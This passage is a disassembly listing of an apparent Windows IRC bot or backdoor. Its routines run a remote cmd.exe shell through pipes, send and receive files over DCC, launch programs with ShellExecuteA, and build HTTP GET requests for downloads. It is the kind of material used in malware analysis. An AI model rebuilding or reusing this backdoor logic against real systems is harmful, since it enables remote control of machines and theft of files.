; ---------------------------------------------------------------------------


loc_401B69:				; CODE XREF: sub_401981+1CEj
		push	[ebp+var_728]
		call	ds:dword_4170A4	; CloseHandle
		mov	eax, [ebp+var_364]
		mov	dword_41DE24, eax
		mov	eax, [ebp+var_36C]
		mov	dword_41DE18, eax
		mov	eax, [ebp+var_724]
		mov	dword_41DE1C, eax
		push	[ebp+var_720]
		call	ds:dword_4170A4	; CloseHandle
		and	[ebp+var_4], 0
		and	[ebp+var_208], 0


loc_401BAD:				; CODE XREF: sub_401981+2E9j
					; sub_401981+39Cj
		mov	eax, [ebp+var_714]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401BBE
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401BBE:				; CODE XREF: sub_401981+236j
		and	[ebp+var_208], 0
		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		push	dword_41DE24
		call	ds:dword_417080	; PeekNamedPipe
		test	eax, eax
		jnz	short loc_401C17
		push	offset aCouldNotReadDa ; "Could	not read data from process."
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401C17:				; CODE XREF: sub_401981+27Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_401C6F
		mov	[ebp+var_730], 103h
		lea	eax, [ebp+var_730]
		push	eax
		push	dword_41DE1C
		call	ds:dword_417084	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_401C62
		cmp	[ebp+var_730], 103h
		jz	short loc_401C62
		push	offset aCmd_exeProcess ; "Cmd.exe process has terminated."
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401C62:				; CODE XREF: sub_401981+2BBj
					; sub_401981+2C7j
		push	0Ah
		call	ds:dword_41709C	; Sleep
		jmp	loc_401BAD
; ---------------------------------------------------------------------------


loc_401C6F:				; CODE XREF: sub_401981+29Aj
		and	[ebp+var_72C], 0
		jmp	short loc_401C85
; ---------------------------------------------------------------------------


loc_401C78:				; CODE XREF: sub_401981:loc_401CAFj
		mov	eax, [ebp+var_72C]
		inc	eax
		mov	[ebp+var_72C], eax


loc_401C85:				; CODE XREF: sub_401981+2F5j
		mov	eax, [ebp+var_72C]
		cmp	eax, [ebp+var_4]
		jnb	short loc_401CB1
		mov	eax, [ebp+var_72C]
		movsx	eax, [ebp+eax+var_204]
		cmp	eax, 0Ah
		jnz	short loc_401CAF
		mov	[ebp+var_208], 1
		jmp	short loc_401CB1
; ---------------------------------------------------------------------------


loc_401CAF:				; CODE XREF: sub_401981+320j
		jmp	short loc_401C78
; ---------------------------------------------------------------------------


loc_401CB1:				; CODE XREF: sub_401981+30Dj
					; sub_401981+32Cj
		cmp	[ebp+var_208], 0
		jz	short loc_401CC6
		mov	eax, [ebp+var_72C]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_401CCD
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401981+337j
		mov	[ebp+var_4], 200h


loc_401CCD:				; CODE XREF: sub_401981+343j
		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		lea	eax, [ebp+var_31C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_204]
		push	eax
		push	dword_41DE24
		call	ds:dword_417088	; ReadFile
		test	eax, eax
		jnz	short loc_401D08
		jmp	short loc_401D22
; ---------------------------------------------------------------------------


loc_401D08:				; CODE XREF: sub_401981+383j
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401BAD
; ---------------------------------------------------------------------------


loc_401D22:				; CODE XREF: sub_401981+238j
					; sub_401981+291j ...
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_401D35:				; CODE XREF: sub_401981+67j
					; sub_401981+BBj ...
		leave
		retn	4
sub_401981	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D39	proc near		; CODE XREF: sub_401D6E+AFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	dword_41DE20
		call	ds:dword_417068	; WriteFile
		test	eax, eax
		jnz	short loc_401D69
		xor	eax, eax
		jmp	short locret_401D6C
; ---------------------------------------------------------------------------


loc_401D69:				; CODE XREF: sub_401D39+2Aj
		push	1
		pop	eax

locret_401D6C:				; CODE XREF: sub_401D39+2Ej
		leave
		retn
sub_401D39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D6E	proc near		; CODE XREF: sub_40A9CF+14A0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_401DA6
		cmp	[ebp+arg_4], 0
		jnz	short loc_401D8B
		jmp	locret_401E36
; ---------------------------------------------------------------------------


loc_401D8B:				; CODE XREF: sub_401D6E+16j
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	offset aOpen	; "open"
		push	0
		call	ds:dword_4171D0	; ShellExecuteA
		jmp	locret_401E36
; ---------------------------------------------------------------------------


loc_401DA6:				; CODE XREF: sub_401D6E+10j
		push	3A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_401DBC
		jmp	short locret_401E36
; ---------------------------------------------------------------------------


loc_401DBC:				; CODE XREF: sub_401D6E+4Aj
		cmp	[ebp+arg_4], 0
		jz	short loc_401DD9
		push	200h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_401DD9:				; CODE XREF: sub_401D6E+52j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aRemoteCmdThrea ; "Remote cmd thread"
		push	1
		push	[ebp+var_4]
		push	offset sub_401981
		call	sub_4095A4
		add	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_401E0B
		jmp	short locret_401E36
; ---------------------------------------------------------------------------


loc_401E0B:				; CODE XREF: sub_401D6E+99j
		push	offset asc_418214 ; "\r\n"
		push	[ebp+arg_4]
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		call	sub_401D39
		pop	ecx
		test	eax, eax
		jnz	short locret_401E36
		push	offset aErrorWhileExec ; "Error	while executing	command."
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx

locret_401E36:				; CODE XREF: sub_401D6E+18j
					; sub_401D6E+33j ...
		leave
		retn
sub_401D6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E38	proc near		; DATA XREF: sub_4024F3+10Bo

var_614		= qword	ptr -614h
var_60C		= qword	ptr -60Ch
var_604		= dword	ptr -604h
var_600		= dword	ptr -600h
var_5FC		= dword	ptr -5FCh
var_5F8		= dword	ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= dword	ptr -5E8h
var_5E4		= dword	ptr -5E4h
var_5E0		= dword	ptr -5E0h
var_5DC		= byte ptr -5DCh
var_5BB		= byte ptr -5BBh
var_4B7		= byte ptr -4B7h
var_3B7		= byte ptr -3B7h
var_3AD		= byte ptr -3ADh
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 604h
		push	3D6h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5E0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_5BB]
		push	eax
		call	ds:dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp+var_5BB]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_5E4], eax
		cmp	[ebp+var_5E4], 0
		jnz	short loc_401EA3
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------


loc_401EA3:				; CODE XREF: sub_401E38+56j
		push	2710h
		push	0
		lea	eax, [ebp+var_3B7]
		push	eax
		lea	eax, [ebp+var_4B7]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_401EEE
		push	[ebp+var_5E4]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------


loc_401EEE:				; CODE XREF: sub_401E38+95j
		lea	eax, [ebp+var_5DC]
		push	eax
		lea	eax, [ebp+var_5BB]
		push	eax
		mov	eax, [ebp+var_5E0]
		push	dword ptr [eax]
		push	offset dword_418280
		lea	eax, [ebp+var_3AD]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64	; clock
		mov	[ebp+var_5E8], eax
		and	[ebp+var_204], 0


loc_401F2A:				; CODE XREF: sub_401E38:loc_401FD8j
		push	0
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_208]
		call	ds:dword_417248	; recv
		mov	[ebp+var_5F0], eax
		cmp	[ebp+var_5F0], 0
		jz	short loc_401F5F
		cmp	[ebp+var_5F0], 200h
		jbe	short loc_401F61


loc_401F5F:				; CODE XREF: sub_401E38+119j
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------


loc_401F61:				; CODE XREF: sub_401E38+125j
		mov	eax, [ebp+var_204]
		add	eax, [ebp+var_5F0]
		mov	[ebp+var_204], eax
		push	[ebp+var_204]
		call	ds:dword_41724C	; ntohl
		mov	[ebp+var_5F4], eax
		push	4
		lea	eax, [ebp+var_5F4]
		push	eax
		push	[ebp+var_208]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5E4]
		push	[ebp+var_5F0]
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B7C	; fwrite
		add	esp, 10h
		cmp	[ebp+var_5F0], 200h
		jnb	short loc_401FC7
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------


loc_401FC7:				; CODE XREF: sub_401E38+18Bj
		mov	eax, [ebp+var_5E0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401FD8
		jmp	loc_4020BC
; ---------------------------------------------------------------------------


loc_401FD8:				; CODE XREF: sub_401E38+199j
		jmp	loc_401F2A
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401E38:loc_401F5Fj
					; sub_401E38+18Dj
		push	[ebp+var_5E4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_5EC], eax
		call	sub_416B64	; clock
		cmp	[ebp+var_5E8], eax
		jnz	short loc_402008
		call	sub_416B64	; clock
		dec	eax
		mov	[ebp+var_5E8], eax


loc_402008:				; CODE XREF: sub_401E38+1C2j
		mov	eax, [ebp+var_5EC]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp+var_5F8], eax
		fild	[ebp+var_5F8]
		fstp	[ebp+var_5FC]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_5E8]
		mov	[ebp+var_600], eax
		fild	[ebp+var_600]
		fdiv	ds:flt_417270
		fdivr	[ebp+var_5FC]
		push	ecx
		push	ecx
		fstp	[esp+60Ch+var_60C]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_5E8]
		mov	[ebp+var_604], eax
		fild	[ebp+var_604]
		fdiv	ds:flt_417270
		push	ecx
		push	ecx
		fstp	[esp+614h+var_614]
		lea	eax, [ebp+var_5DC]
		push	eax
		lea	eax, [ebp+var_5BB]
		push	eax
		push	offset dword_418234
		lea	eax, [ebp+var_3AD]
		push	eax
		call	sub_40D53F
		add	esp, 20h


loc_402094:				; CODE XREF: sub_401E38:loc_4020BCj
		push	[ebp+var_5E4]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_208]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4020BE
; ---------------------------------------------------------------------------


loc_4020BC:				; CODE XREF: sub_401E38+19Bj
		jmp	short loc_402094
; ---------------------------------------------------------------------------

locret_4020BE:				; CODE XREF: sub_401E38+66j
					; sub_401E38+B1j ...
		leave
		retn	4
sub_401E38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020C2	proc near		; DATA XREF: sub_40260D+7Co

var_A2C		= qword	ptr -0A2Ch
var_A24		= qword	ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= byte ptr -0A04h
var_9FC		= dword	ptr -9FCh
var_9F8		= dword	ptr -9F8h
var_9F4		= dword	ptr -9F4h
var_9F0		= byte ptr -9F0h
var_8EC		= dword	ptr -8ECh
var_8E8		= dword	ptr -8E8h
var_8E4		= dword	ptr -8E4h
var_8E0		= byte ptr -8E0h
var_8BF		= byte ptr -8BFh
var_8BE		= byte ptr -8BEh
var_7BB		= byte ptr -7BBh
var_618		= dword	ptr -618h
var_614		= byte ptr -614h
var_210		= byte ptr -210h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A1Ch
		push	2CCh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_8E4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_8BF]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_9F8], eax
		jmp	short loc_40210D
; ---------------------------------------------------------------------------


loc_402100:				; CODE XREF: sub_4020C2:loc_40215Ej
		mov	eax, [ebp+var_9F8]
		dec	eax
		mov	[ebp+var_9F8], eax


loc_40210D:				; CODE XREF: sub_4020C2+3Cj
		cmp	[ebp+var_9F8], 0
		jnz	short loc_40212D
		lea	eax, [ebp+var_8BF]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------


loc_40212D:				; CODE XREF: sub_4020C2+52j
		mov	eax, [ebp+var_9F8]
		movsx	eax, [ebp+eax+var_8BF]
		cmp	eax, 5Ch
		jnz	short loc_40215E
		mov	eax, [ebp+var_9F8]
		lea	eax, [ebp+eax+var_8BE]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------


loc_40215E:				; CODE XREF: sub_4020C2+7Cj
		jmp	short loc_402100
; ---------------------------------------------------------------------------


loc_402160:				; CODE XREF: sub_4020C2+69j
					; sub_4020C2+9Aj
		mov	[ebp+var_8E8], 10h
		lea	eax, [ebp+var_8E8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40CF25
		push	eax
		call	ds:dword_417240	; getsockname
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_614]
		push	eax
		push	[ebp+var_8E8]
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jz	short loc_4021BA
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_4021BA:				; CODE XREF: sub_4020C2+E3j
		push	0Ah
		lea	eax, [ebp+var_A04]
		push	eax
		push	1388h
		push	400h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		lea	eax, [ebp+var_A04]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_9FC], eax
		cmp	[ebp+var_9FC], 0
		jnz	short loc_40220F
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_40220F:				; CODE XREF: sub_4020C2+138j
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_8BF]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8EC], eax
		cmp	[ebp+var_8EC], 0
		jnz	short loc_402250
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_402250:				; CODE XREF: sub_4020C2+16Dj
		push	2
		push	0
		push	[ebp+var_8EC]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_8EC]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_A08], eax
		push	0
		push	0
		push	[ebp+var_8EC]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		lea	eax, [ebp+var_614]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset aDccSendSS ; "DCC Send %s (%s)"
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_40D420
		add	esp, 10h
		push	[ebp+var_A08]
		lea	eax, [ebp+var_A04]
		push	eax
		lea	eax, [ebp+var_614]
		push	eax
		call	ds:dword_417244	; inet_addr
		push	eax
		call	ds:dword_41724C	; ntohl
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_418348
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_40D4AB
		add	esp, 18h
		push	0EA60h
		push	[ebp+var_9FC]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_618], eax
		cmp	[ebp+var_618], 0
		jz	short loc_40230F
		cmp	[ebp+var_618], 0FFFFFFFFh
		jnz	short loc_40233A


loc_40230F:				; CODE XREF: sub_4020C2+242j
		push	[ebp+var_8EC]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_4020C2+24Bj
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		mov	eax, [ebp+var_8E4]
		push	dword ptr [eax]
		push	offset dword_418320
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64	; clock
		mov	[ebp+var_9F4], eax


loc_40236F:				; CODE XREF: sub_4020C2:loc_40240Dj
		push	[ebp+var_8EC]
		push	200h
		push	1
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_A0C], eax
		cmp	[ebp+var_A0C], 0
		jz	short loc_4023A6
		cmp	[ebp+var_A0C], 200h
		jbe	short loc_4023A8


loc_4023A6:				; CODE XREF: sub_4020C2+2D6j
		jmp	short loc_402412
; ---------------------------------------------------------------------------


loc_4023A8:				; CODE XREF: sub_4020C2+2E2j
		push	[ebp+var_A0C]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_618]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4023EE
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_4182F4
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_4024ED
; ---------------------------------------------------------------------------


loc_4023EE:				; CODE XREF: sub_4020C2+303j
		cmp	[ebp+var_A0C], 200h
		jnb	short loc_4023FC
		jmp	short loc_402412
; ---------------------------------------------------------------------------


loc_4023FC:				; CODE XREF: sub_4020C2+336j
		mov	eax, [ebp+var_8E4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40240D
		jmp	loc_4024EB
; ---------------------------------------------------------------------------


loc_40240D:				; CODE XREF: sub_4020C2+344j
		jmp	loc_40236F
; ---------------------------------------------------------------------------


loc_402412:				; CODE XREF: sub_4020C2:loc_4023A6j
					; sub_4020C2+338j
		call	sub_416B64	; clock
		cmp	[ebp+var_9F4], eax
		jnz	short loc_40242B
		call	sub_416B64	; clock
		dec	eax
		mov	[ebp+var_9F4], eax


loc_40242B:				; CODE XREF: sub_4020C2+35Bj
		mov	eax, [ebp+var_A08]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp+var_A10], eax
		fild	[ebp+var_A10]
		fstp	[ebp+var_A14]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_9F4]
		mov	[ebp+var_A18], eax
		fild	[ebp+var_A18]
		fdiv	ds:flt_417270
		fdivr	[ebp+var_A14]
		push	ecx
		push	ecx
		fstp	[esp+0A24h+var_A24]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_9F4]
		mov	[ebp+var_A1C], eax
		fild	[ebp+var_A1C]
		fdiv	ds:flt_417270
		push	ecx
		push	ecx
		fstp	[esp+0A2Ch+var_A2C]
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_4182B0
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 20h


loc_4024B7:				; CODE XREF: sub_4020C2:loc_4024EBj
					; sub_4020C2:loc_4024EDj
		push	[ebp+var_618]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_8EC]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4024EF
; ---------------------------------------------------------------------------


loc_4024EB:				; CODE XREF: sub_4020C2+346j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------


loc_4024ED:				; CODE XREF: sub_4020C2+327j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------

locret_4024EF:				; CODE XREF: sub_4020C2+F3j
					; sub_4020C2+148j ...
		leave
		retn	4
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024F3	proc near		; CODE XREF: sub_40D871+203p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_402511
		cmp	[ebp+arg_8], 0
		jz	short loc_402511
		cmp	[ebp+arg_C], 0
		jz	short loc_402511
		cmp	[ebp+arg_10], 0
		jnz	short loc_402516


loc_402511:				; CODE XREF: sub_4024F3+Aj
					; sub_4024F3+10j ...
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402516:				; CODE XREF: sub_4024F3+1Cj
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_402531
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_402536


loc_402531:				; CODE XREF: sub_4024F3+33j
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402536:				; CODE XREF: sub_4024F3+3Cj
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_402551
		cmp	[ebp+var_8], 40000000h
		jbe	short loc_402556


loc_402551:				; CODE XREF: sub_4024F3+53j
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402556:				; CODE XREF: sub_4024F3+5Cj
		push	3D6h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40256F
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_40256F:				; CODE XREF: sub_4024F3+75j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	100h
		push	[ebp+arg_C]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	6
		push	[ebp+arg_10]
		mov	eax, [ebp+var_4]
		add	eax, 229h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+22Fh], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 233h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_41837C
		push	0
		push	[ebp+var_4]
		push	offset sub_401E38
		call	sub_4095A4
		add	esp, 18h

locret_40260B:				; CODE XREF: sub_4024F3:loc_402511j
					; sub_4024F3:loc_402531j ...
		leave
		retn
sub_4024F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40260D	proc near		; CODE XREF: sub_40A9CF+98Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40261D
		cmp	[ebp+arg_8], 0
		jnz	short loc_40261F


loc_40261D:				; CODE XREF: sub_40260D+8j
		jmp	short locret_402696
; ---------------------------------------------------------------------------


loc_40261F:				; CODE XREF: sub_40260D+Ej
		push	2CCh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_402635
		jmp	short locret_402696
; ---------------------------------------------------------------------------


loc_402635:				; CODE XREF: sub_40260D+24j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4183A0
		push	0
		push	[ebp+var_4]
		push	offset sub_4020C2
		call	sub_4095A4
		add	esp, 18h

locret_402696:				; CODE XREF: sub_40260D:loc_40261Dj
					; sub_40260D+26j
		leave
		retn
sub_40260D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402698	proc near		; CODE XREF: sub_402A32+5C9p

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	2710h
		push	0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_414], eax
		cmp	[ebp+var_414], 0
		jnz	short loc_4026CC
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4026CC:				; CODE XREF: sub_402698+2Bj
		push	[ebp+arg_8]
		push	[ebp+arg_10]
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402745
